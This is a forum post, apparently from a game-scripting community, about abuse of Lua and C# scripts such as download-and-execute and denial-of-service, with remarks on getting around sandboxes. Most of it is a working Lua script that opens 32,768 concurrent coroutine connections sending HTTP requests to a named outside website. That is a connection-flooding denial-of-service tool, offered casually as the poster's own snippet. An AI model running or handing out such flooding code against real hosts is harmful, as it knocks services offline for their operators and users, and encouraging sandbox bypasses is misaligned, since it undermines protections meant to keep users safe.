As you know Lua is not some scripting language, same goes for C#.
This thread aims to show "danger of incompetent developers" and how it will affect you.
Top crap that come to mind:
-Download/Execute?!
-Denial of service attacks from a script/asm
+More like no reason to list these things. It's a fucking programming language. So everything depends on the coding skills of the programmer.
When this kind of events happened both they have developed the sandbox mode. But..There is still ways to workout so try to bypass or just develop a library/script that allows us to do without bypass. In my opinion bypassing isn't even needed.
Anyway.
So we back to start: stupid programmers and their product design.
So what do you think? What else can be done? What should end-users do to protect themselves?
Share your thoughts.
Here's my Lua snippet on the matter. (Simple shiet)
require "socket" threads = {} thread_num = 32768 host = "www.joduska.me" --Kappa port = 80 --443 request = "GET /index.html HTTP/1.0\r\n\r\n" --Change it for HTTPS requst ok_num = 0 function thread_func(host, port, request) local conn = socket.connect(host, port) local count = 0 conn:send(request) while true do local s, status, partial = receive(conn) count = count + #(s or partial) if status == "closed" then break end end conn:close() ok_num = ok_num + 1 end function receive(connection) connection:settimeout(0) local s, status, partial = connection:receive(1024) if status == "timeout" then coroutine.yield(connection) end return s, status, partial end function thread_pool(thread_num) for i = 1, thread_num, 1 do local co = coroutine.create(function() thread_func(host, port, request) end) table.insert(threads, co) end end function run() local i =1 local now_ok_num = 0 local connections = {} thread_pool(thread_num) while true do if threads[i] == nil then if threads[1] == nil then io.write("<<100% done\n") break end i =1 connections = {} end local status, res = coroutine.resume(threads[i]) if not res then --echo result now_ok_num = now_ok_num + 1 if now_ok_num * 100 >= thread_num then io.write("#") io.flush() now_ok_num = 0 end table.remove(threads, i) else i = i+1 connections[#connections + 1] = res if #connections == #threads then socket.select(connections) end end end end run()
Yokel detector.